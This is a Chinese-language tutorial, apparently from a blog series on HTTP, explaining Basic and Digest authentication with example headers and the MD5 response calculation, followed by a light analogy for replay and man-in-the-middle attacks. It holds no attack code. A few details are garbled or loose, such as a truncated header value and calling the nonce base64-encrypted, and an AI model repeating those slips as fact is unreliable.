实际上, base64编码不是为了加密, 而是为了保证用户名及密码在通过HTTP协议传输之后具有可移植性。不过,在HTTP首部字段中不能使用通用字符, 才是编码的主要原因。

1
2
GET /gallery/personal/images/image1.jpg HTTP/1.1
Authorization: Basic Zm9vOmJhcg==

例子中的字符串”Zm9vOmJhcg==”解码后只是”foo:bar”(这一小段字符串)。

因此, 每个可以收到请求的(代理/服务器)都能轻易地解码和使用(传输的身份)凭证。

更糟糕的是, 恶意的第三方仍然可以通过发送(编码后的)混乱字符序列达到同样的效果, 因此对用户名及密码进行编码不会有任何帮助。

没有任何可以用来防止代理或其他形式的攻击篡改请求主体(数据), 同时还能保证请求主体完好无损的措施。

因此, 如你所见, basic认证称不上是一个完美的认证机制。

尽管如此, basic认证还是可以用来防止(无权限用户)意外访问受保护的资源, 并(为用户)提供一定程度的个性化内容。

为了让(认证)更加安全实用, 可以用基于SSL的HTTPS协议对basic认证进行扩展, 相关内容我们会在本系列的第五部分详述。

然而, 有些人认为, basic认证的安全与否取决于运输机制(的安全性)

digest(摘要)认证

与简单且不安全的basic认证相比, digest认证是一个更加安全可靠的选择。

那么, 它是如何认证的呢?

digest认证将多个nonceMD5哈希加密算法结合使用, 以此来隐藏密码(使账号)免于遭受多种恶意攻击的侵害。

注: nonce本身是用base64加密的。

这个(认证过程)听起来好像很复杂, 不过在你看完实例之后, 就会觉得清晰多了。

实例

  1. 用户代理 -> 服务器

    1
    2
    GET /dir/index.html HTTP/1.0
    Host: localhost

    客户端发送不含认证(信息)的请求。

  2. 服务器 -> 用户代理

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    HTTP/1.0 401 Unauthorized
    WWW-Authenticate: Digest realm="shire@middleearth.com",
    qop="auth,auth-int",
    nonce="cmFuZG9tbHlnZW5lcmF0ZWRub25jZQ",
    opaque="c29tZXJhbmRvbW9wYXF1ZXN0cmluZw"
    Content-Type: text/html
    Content-Length: 153
    <--空行--!>
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="UTF-8" />
    <title>Error</title>
    </head>
    <body>
    <h1>401 Unauthorized.</h1>
    </body>
    </html>

    服务器对客户端发出质询, 要求其用digest认证进行认证, 并向客户端发送(认证时)所需的信息。

  3. 用户代理 -> 服务器

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    GET /dir/index.html HTTP/1.0
    Host: localhost
    Authorization: Digest username="Gandalf",
    realm="shire@middleearth.com",
    nonce="cmFuZG9tbHlnZW5lcmF0ZWRub25jZQ",
    uri="/dir/index.html",
    qop=auth,
    nc=00000001,
    cnonce="0a4f113b",
    response="5a1c3bb349cf6986abf985257d968d86",
    opaque="c29tZXJhbmRvbW9wYXF1ZXN0c

    客户端将计算出响应码与用户名、认证域(real)、URI、nonce(随机数)、opaque、qop、nc和cnonce(客户端的随机数)这些属性一起发送出去, 这信息量真的很大。

  4. 服务器 -> 客户端

    1
    2
    3
    4
    HTTP/1.0 200 OK
    Content-Type: text/html
    Content-Length: 2345
    ... <content data>

    服务器会自己计算(服务器产生的nonce)的哈希值并与从客户端收到的nonce哈希值进行比对。若两者相同, 服务器就会发送(客户端)所请求的数据。

(步骤3的)详细说明

定义:

  • nonce、opaque —— 服务器生成的字符串, 客户端会在返回的内容中附上该信息。
  • qop(保护质量) —— 可设置一个或多个值(“auth” | “auth-in” | token)。这些值影响摘要(信息)的计算。
  • cnonce - 客户端随机数, 若设置了qop的值, 一定要生成客户端随机数。它是用来防止选择明文攻击和保证信息完整性的。
  • nc —— 若qop设置了, 必须(给服务器)发送该属性。服务器可通过nc属性的值, 检测请求是否是重新发送过来的。若(两次请求)nc属性出现了相同值, 那么说明该请求重新发送了一次。

response属性的值的计算方法:

1
2
3
4
5
6
7
8
9
10
11
HA1 = MD5("Gandalf:shire@middleearth.com:Lord Of The Rings")
= 681028410e804a5b60f69e894701d4b4

HA2 = MD5("GET:/dir/index.html")
= 39aff3a2bab6126f332b942af96d3366

Response = MD5( "681028410e804a5b60f69e894701d4b4:
cmFuZG9tbHlnZW5lcmF0ZWRub25jZQ:
00000001:0a4f113b:auth:
39aff3a2bab6126f332b942af96d3366" )
= 5a1c3bb349cf6986abf985257d968d86

如果你对response属性是如何受qop属性影响这件事感兴趣的话, 你可以看看RFC 2617

简短的总结

如你所见, digest认证不管是理解起来还是实现起来都(比basic认证)复杂多了。

尽管, digest认证比basic认证安全得多, 但还是存在遭受中间人攻击的可能。

RFC 2617中提到, digest认证是用于取代basic认证的, 因为它可弥补basic认证的不足, 同时RFC 2617中没有将digest认证仍旧不符合现代密码标准的事实隐藏起来, 不过, 该认证安全与否, 还是取决于实际实施情况。

digest认证的优点:

  • 不会在网络中发送明文密码
  • 防止重放攻击
  • 防止篡改报文

digest认证的缺点:

  • 易遭受中间人攻击
  • 不用设置大量的安全选项, 导致digest认证方法不够安全
  • 存储密码时, 不能使用强密码哈希函数

注: 缺点的最后一点, 是因为无论是密码、用户名、realm、密码的摘要都要求是可恢复的

上述的种种缺点使得digest认证未能大力推广, 反观简单的basic认证, 结合SSL使用之后比(复杂的)digest认证安全得多——因此该认证方法得到大力推广。

总结

本文为HTTP系列的一部分。

文章看到这里, 我们大致过了一遍HTTP默认提供的认证机制, 并且谈论了不同认证机制的优缺点。

希望(对你来说)这些概念不再只是屏幕上的单词, 并且下次你提到这些名词的时候, 能准确地知道它们是什么和怎么运用它们。

你应该察觉到了, 上述认证机制并不能规避(所有)安全风险, 这就是HTTPS、SSL/TLS(Transport Layer Security, 传输层安全性协定)这些概念存在的原因。下一篇文章, 我们将会更多地去讨论安全问题和如何去规避这些问题。

如果你感觉有些概念不是很清晰, 你可以看看HTTP系列第一部分第二部分第三部分

安全小讲堂

在找相关知识的时候, 发现有一个人用了一个很通俗易懂的方式来讲密码学里面的知识, 感觉很有趣。今天来尝试一波。

假设小明和小兰互相不认识, 在老师严抓早恋的背景下, 俩人都学习了写情书的新姿势, 将自己写的文字加密并发出, 然后通过情书培养感情。小草也喜欢小兰, 为了阻(heng)止(dao)他(duo)们(ai), 采取了以下攻击方式。

  1. 选择明文攻击
    小草很了解小兰(但没有学习过上面的新姿势), 知道小兰最爱在信里表示自己很”开心”, 所以信加密后出现最高频率的词, hexo这就是知道”开心”加密之后的密文是啥了。
    ————已知密文。

    如果有一天, 小兰写”开心”的次数变少了, 小草就可以找机会雪(chen)中(xu)送(er)炭(ru)了。

  2. 中间人攻击
    小明和小兰协商好, 在书信里面放入自己的信物表明自己的身份, 为了防止第三者做些乱七八糟的事情, 这个方式也是很明智了。但是未曾想, 小草在一开始协商信物的时候, 就窃取了他们的信物——这个信物就是公钥——并且将自己事先准备好的两个信物与小明和小兰原本的信物进行对调。


    这时候小草甚至还能皮一下, 篡改小明的书信, 离间他们两者之间的感情。

  3. 重放攻击
    小明给小兰送情书之前, 都会在小兰的桌上放一瓶酸奶, 作为自己给小兰写信的信号。小兰回教室看到抽屉里有信, 在思考是谁写的(发出质询), 看到酸奶(收到响应), 小兰就知道是小明给自己写情书了(通过验证)。小草找到了这个规律, 同样给小兰桌上放了一瓶酸奶(重放攻击, 二次利用认证信息), 之后在抽屉里放着离间两人的信, 这就达成了小草想要的效果。